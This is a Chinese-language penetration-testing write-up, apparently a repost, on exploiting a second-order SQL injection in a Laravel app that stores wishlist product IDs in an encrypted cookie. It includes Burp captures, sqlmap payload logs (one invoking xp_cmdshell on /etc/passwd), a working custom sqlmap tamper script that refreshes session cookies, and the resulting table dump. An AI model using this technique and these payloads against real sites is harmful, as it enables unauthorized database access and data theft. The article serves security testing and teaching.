使用Burp和自定义Sqlmap Tamper利用二次注入漏洞

华盟原创文章投稿奖励计划

使用Burp和自定义Sqlmap Tamper利用二次注入漏洞

Web应用程序已经从上世纪简单的脚本演变成了如今的单页应用。然而,随着Web应用程序的不断复杂化不同类型的安全漏洞也随之而来。其中有一种被称之为二次注入的漏洞,该漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。此外该漏洞不仅会发生在同一应用中,其他使用相同数据源的Web应用程序也会产生该漏洞。因此,想要使用自动扫描器来检测该类漏洞“几乎”是不可能的。在本文中我将向大家展示,我们最近一个有趣的渗透测试项目的SQLi漏洞。

我们的手动测试方法

对一个应用程序进行测试,我们必须首先要了解我们的测试目标。因此在正式测试之前,我都会花费一两天的时间来像普通用户一样使用该应用程序。我会单击并提交所有的表单,并遵循以下命名规范:

给主要模块编号(在导航栏看到的东西,例如发票,新闻,费用等)

假设你正在浏览“Ticket”模块,并且需要你提交一个包含名称和电子邮件的表单。

Username = johnticket1

Email = johnticket1@yopmail.com

这样有助于跟踪数据的来源,如果我们在渗透过程中看到johnticket1在其他地方出现,那么我们就知道了攻击的目标是哪个向量(通常一个APP的渗透需要5到6天时间)。

初始阶段:检测

在浏览我的目标时,我在Burp Suite日志中看到了以下请求和响应。

GET /wishlist/add/9 HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://targetwebapp/
Cookie: XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D; session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
----
HTTP/1.1 302 Found
Date: Tue, 01 Aug 2017 07:31:12 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Location: http://targetwebapp/
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly
Content-Length: 324
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="1;url=http://targetwebapp/" />
        <title>Redirecting to http://targetwebapp/</title>
    </head>
    <body>
        Redirecting to <a href="http://targetwebapp/">http://targetwebapp/</a>.
    </body>
</html>

我正在向心愿单添加一个产品。如果该操作成功执行,那么应用程序将会把我重定向到主页。但是如果我浏览另一个模块(/wishlist/),则可以看到该产品的详细信息。

这里有个地方引起了我的注意,在HTTP响应中我看到了一个新的Set-Cookie参数?为了验证该参数,我又陆续尝试添加了几个不同产品的id到愿望单。而结果是我在每次的请求中都获取到了新的Set-Cookie指令。

我没有登录应用,但应用程序依旧能够跟踪我添加的产品。

每当我用不同的id重复上述请求时,都将获取到新的Set-Cookie指令。

显而易见,应用程序将产品的id值存储在我的cookie上,并在发送给我之前进行了加密。据此我判断目标应该是一个Laravel应用程序,因为默认情况下,Laravel框架的XSRF-TOKEN cookie名称和cookie加密。

重要的是要明白,无论如何通过/wishlist/add/<id>端点提交,它都将存储在我的加密cookie中。如果我浏览 /whishlist/ 路径,那么以下步骤将在应用之后。

解密cookie

从Cookie数据获取wishlist数组。

在查询中使用该数组。

显示所需产品的详细信息。

Protip:如果你认为在一个sql查询中使用了多个值。它的语句可能是WHERE id IN(<values>)。像开发者一样思考!

第二阶段:自动化工具问题

事实上无论是Burp还是Netsparker,它们都无法检测到这种类型的SQL注入漏洞。为了更好的理解,大家可以参考以下常规自动化工具的工作流程。

登录到应用程序或使用提供的Cookie。

发送 /wishlist/add/9″ and 1=1 – or /wishlist/add/9′or 1=1– or /wishlist/add/9′ OR SLEEP(25)=0 LIMIT 1– (这里只是简单的举个例子,自动化工具将为我们提供更加丰富和多样化的测试语句)

计算请求和响应之间的时间间隔。(HTTP响应体分析等)

等待带外请求。

根据上述流程,扫描器不会检测到任何HTTP响应体的不同。并且,请求和响应之间也不会有明显的时间差。应用程序只需输入并存储在其他位置(在这种情况下加密cookie)。

当扫描器经过每个URL时,最终会开始浏览/wishlist/执行SQL查询。但由于有多个sql payload,所以工具已经无法正常识别正确的sql语法了。因此,将只会看到HTTP 500错误。

第三阶段:SQLMAP

这是sqlmap生成的前5次HTTP请求。特别是前2次的请求一直保持不变。

~ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
[11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
[11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:57] [INFO] testing if the target URL is stable
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] URI parameter '#1*' does not appear to be dynamic
[11:48:58] [PAYLOAD] 9(..,)),('"
[11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:58] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[11:48:58] [PAYLOAD] 9'AGZHkY<'">Bubyju
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [INFO] testing for SQL injection on URI parameter '#1*'
[11:48:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305
[11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 5896=8011
[11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:00] [PAYLOAD] 9 AND 3274=3274
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 9747=4557 AND ('xqFU'='xqFU
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9') AND 3274=3274 AND ('JoAB'='JoAB
[11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:01] [PAYLOAD] 9' AND 6443=5019 AND 'zuGP'='zuGP
[11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)
[11:49:02] [PAYLOAD] 9' AND 3274=3274 AND 'iWaC'='iWaC

如果你看起来前两个payload更接近,你将会看到sqlmap尝试检测WAF,然后由应用程序强制执行编码。之后,尝试通过逐个发送多个payload来找出sql查询的语法形式。问题是,所有这些payload将被存储在cookie上,这意味着每当sqlmap到达 –second-order时,都将看到HTTP 500错误。此外,第一个请求也早已搞混了sql语法。这就意味着sqlmap将会在其余的攻击同样返回错误。

所以,我们需要为sqlmap生成的每个HTTP请求提供一个新的会话。我通过自定义脚本做到了这一点。

以下HTTP请求和响应是通过我们的方法强制应用程序启动的新会话。

GET / HTTP/1.1
Host: targetwebapp
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
---
HTTP/1.1 200 OK
Date: Tue, 01 Aug 2017 06:31:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/
Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22296

可以执行以下步骤:

将请求发送到主页而不提供任何cookie。

解析Set-Cookie并获得XSRF-TOKEN和SESSION。

更新sqlmap生成的HTTP请求。

所以每次sqlmap的检测尝试都会生成新的会话。当sqlmap尝试到达/wishlist/发送payload后,/wishlist/的响应将仅与之前的payload相关。

这里我强烈建议你使用 https://github.com/h3xstream/http-script-generator 扩展生成脚本重发选定的请求。

generate-script-768x432.png

以下是我的sqlmap tamper模块。它会向主页发送HTTP请求并检索新的cookie值。最后一步,它会更新sqlmap生成的HTTP请求的Cookie值。

#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import requests
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
    pass
def new_cookie():
    session = requests.Session()
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
    response = session.get("http://targetwebapp/", headers=headers)
    XSRF_TOKEN = response.headers['Set-Cookie'].split(';')[0]
    SESSION = response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace(" ", "")
    return "Cookie: {0}; {1}".format(XSRF_TOKEN, SESSION)
def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["Cookie"] = new_cookie()
    return payload
sqlmap git:(master) ✗ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" --tamper /tmp/durian.py
...
Database: XXX
[12 tables]
+------------------------------------------------------+
| categories                                           |
| comments                                             |
| coupon_user                                          |
| coupons                                              |
| migrations                                           |
| order_product                                        |
| orders                                               |
| password_resets                                      |
| products                                             |
| subscribers                                          |
| user_addresses                                       |
| users                                                |
+------------------------------------------------------+

总结

使用自动扫描器,不能完全信任其结果。

聘请一些在手工测试方面具有丰富经验的测试人员。

如果你是一名渗透测试者,工具会在一定程度上给予你帮助。但最终,仍是由你自己来完成这项工作。

用正确的方法解决问题。

*参考来源:pentest,FB小编 secist 编译,转载请注明来自FreeBuf.COM

本文原创,作者:小龙,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/168085.html

发表评论